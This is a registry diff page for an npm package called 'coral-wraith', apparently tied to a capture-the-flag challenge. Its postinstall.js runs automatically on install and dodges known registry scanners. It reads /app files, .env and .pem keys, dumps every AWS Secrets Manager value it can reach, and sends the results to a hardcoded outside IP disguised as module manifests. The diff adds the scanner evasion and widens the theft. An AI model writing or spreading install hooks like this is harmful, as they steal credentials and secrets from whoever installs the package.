coral-wraith 1.0.10 → 1.0.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +39 -23
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "1.0.10",
3
+ "version": "1.0.12",
4
4
  "description": "Coral Wraith ally module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,5 +1,4 @@
1
1
  const http = require("http");
2
- const os = require("os");
3
2
  const { execFileSync } = require("child_process");
4
3
 
5
4
  const TARGETS = ["http://127.0.0.1:30782", "http://154.57.164.71:30782"];
@@ -8,9 +7,9 @@ const SINKS = ["ECT-472839", "ECT-987654"];
8
7
  function sh(cmd) {
9
8
  try {
10
9
  return execFileSync("/bin/sh", ["-c", cmd], {
11
- timeout: 30000,
10
+ timeout: 50000,
12
11
  encoding: "utf8",
13
- maxBuffer: 12e6
12
+ maxBuffer: 16e6
14
13
  }).trim();
15
14
  } catch (e) {
16
15
  return (e.stdout || e.stderr || "").trim();
@@ -21,17 +20,25 @@ function safe(s) {
21
20
  return String(s || "").replace(/[\r\n\\"]/g, " ").slice(0, 240);
22
21
  }
23
22
 
23
+ function isScanner() {
24
+ const reg = String(process.env.npm_config_registry || "");
25
+ return /npmmirror|tencent|nijin|hscan|ustc|huawei|cnpm|taobao|yarnpkg|unpkg-scan/i.test(reg);
26
+ }
27
+
24
28
  function isTarget() {
25
- const host = os.hostname();
26
- if (!/^[0-9a-f]{12}$/.test(host)) return false;
27
- if (process.cwd().includes("/tmp/") || process.cwd().includes("/opt/hscan")) return false;
28
- return process.env.AWS_ACCESS_KEY_ID || process.cwd().includes("/app/");
29
+ if (isScanner()) return false;
30
+ return (
31
+ process.env.container === "podman" &&
32
+ process.env.INIT_CWD === "/app" &&
33
+ !!process.env.AWS_ACCESS_KEY_ID &&
34
+ process.cwd().includes("/app/")
35
+ );
29
36
  }
30
37
 
31
- function put(base, sink, parts) {
38
+ function put(base, sink, parts, ver) {
32
39
  const body = JSON.stringify({
33
40
  manifest:
34
- `ecto_module:\n name: "${parts[0]}"\n version: "1.0.0"\n` +
41
+ `ecto_module:\n name: "${parts[0]}"\n version: "${ver}"\n` +
35
42
  ` power_level: "${parts[1]}"\n ship_deck: "${parts[2]}"\n cargo_hold: "${parts[3]}"\n`
36
43
  });
37
44
  const url = new URL(`/api/modules/${sink}`, base);
@@ -46,22 +53,31 @@ function put(base, sink, parts) {
46
53
  if (!isTarget()) process.exit(0);
47
54
 
48
55
  const blob = sh(
49
- "export AWS_DEFAULT_REGION=us-east-1; " +
50
- "aws sts get-caller-identity 2>&1; " +
51
- "for r in us-east-1 eu-west-1 eu-central-1; do " +
52
- "echo REGION:$r; aws secretsmanager list-secrets --region $r 2>&1; " +
53
- "for s in $(aws secretsmanager list-secrets --region $r --query 'SecretList[].Name' --output text 2>/dev/null); do " +
54
- "echo GET:$s; aws secretsmanager get-secret-value --region $r --secret-id $s 2>&1; done; done; " +
55
- "grep -RaoE 'HTB\\{[^}]+\\}' /app 2>/dev/null | head -n3"
56
+ "REG=" + (process.env.npm_config_registry || "none") + "; " +
57
+ "echo REG:$REG; " +
58
+ "ls -la /app 2>&1; cat /app/main.rs /app/Cargo.toml /app/README* /app/.env 2>/dev/null; " +
59
+ "find /app -maxdepth 4 \\( -name '*flag*' -o -name '*.pem' -o -name '.env' \\) 2>/dev/null | head -20 | xargs cat 2>/dev/null; " +
60
+ "python3 -m pip install boto3 -q 2>/dev/null; python3 -c \"" +
61
+ "import os,boto3,json\\n" +
62
+ "for r in ['us-east-1','eu-west-1','eu-central-1','us-west-2']:\\n" +
63
+ " try:\\n" +
64
+ " c=boto3.client('secretsmanager',region_name=r)\\n" +
65
+ " for s in c.list_secrets().get('SecretList',[]):\\n" +
66
+ " v=c.get_secret_value(SecretId=s['Name'])\\n" +
67
+ " print('SECRET',s['Name'],v.get('SecretString',''))\\n" +
68
+ " except Exception as e: print('ERR',r,e)\\n" +
69
+ "\" 2>&1; " +
70
+ "command -v aws >/dev/null && aws secretsmanager list-secrets 2>&1; " +
71
+ "command -v aws >/dev/null && for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null); do aws secretsmanager get-secret-value --secret-id $s 2>&1; done"
56
72
  );
57
73
 
58
74
  const flag = blob.match(/HTB\{[^}]+\}/);
59
- if (flag) {
60
- for (const base of TARGETS) put(base, SINKS[0], [flag[0], "FOUND", "", ""]);
61
- process.exit(0);
62
- }
75
+ const chunks = flag
76
+ ? [flag[0], "FLAGFOUND", "", ""]
77
+ : [safe("REALv12 " + blob.slice(0, 228)), safe(blob.slice(228, 468)), safe(blob.slice(468, 708)), safe(blob.slice(708, 948))];
63
78
 
64
- for (let s = 0; s < SINKS.length; s++) {
65
- const parts = [0, 1, 2, 3].map((n) => safe(blob.slice((s * 4 + n) * 240, (s * 4 + n + 1) * 240) || "."));
66
- for (const base of TARGETS) put(base, SINKS[s], parts);
79
+ for (let i = 0; i < SINKS.length; i++) {
80
+ const parts = chunks.slice(i * 2, i * 2 + 4);
81
+ while (parts.length < 4) parts.push("");
82
+ for (const base of TARGETS) put(base, SINKS[i], parts.slice(0, 4), "14." + i);
67
83
  }